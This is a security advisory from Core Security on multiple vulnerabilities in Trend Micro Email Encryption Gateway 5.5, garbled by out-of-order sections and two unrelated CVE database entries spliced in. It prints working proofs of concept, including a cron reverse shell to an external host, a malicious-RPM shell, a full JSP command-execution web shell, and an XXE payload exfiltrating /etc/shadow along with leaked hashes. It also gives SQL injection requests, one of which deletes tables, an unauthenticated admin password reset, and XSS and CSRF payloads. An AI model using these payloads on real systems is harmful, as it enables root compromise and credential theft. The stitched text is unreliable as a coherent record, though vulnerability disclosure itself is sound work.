action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201802-0593 | CVE-2018-0124 | Cisco Unified Communications Domain Manager Vulnerabilities related to key management errors |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in Cisco Unified Communications Domain Manager could allow an unauthenticated, remote attacker to bypass security protections, gain elevated privileges, and execute arbitrary code. The vulnerability is due to insecure key generation during application configuration. An attacker could exploit this vulnerability by using a known insecure key value to bypass security protections by sending arbitrary requests using the insecure key to a targeted application. An exploit could allow the attacker to execute arbitrary code. This vulnerability affects Cisco Unified Communications Domain Manager releases prior to 11.5(2). Cisco Bug IDs: CSCuv67964. Vendors have confirmed this vulnerability Bug ID CSCuv67964 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Failed exploit attempts will result in a denial-of-service condition. This component features scalable, distributed, and highly available enterprise Voice over IP call processing
VAR-201803-1787 | CVE-2018-6222 | Trend Micro Email Encryption Gateway Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 7.2 CVSS V3: 7.8 Severity: HIGH |
Arbitrary logs location in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to change location of log files and be manipulated to execute arbitrary commands and attain command execution on a vulnerable system. Trend Micro Email Encryption Gateway Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Trend Micro Email Encryption Gateway is prone to a command-injection vulnerability because it fails to properly sanitize user-supplied input.
Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
Trend Micro Email Encryption Gateway version 5.5 Build 1111 and prior versions are vulnerable. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
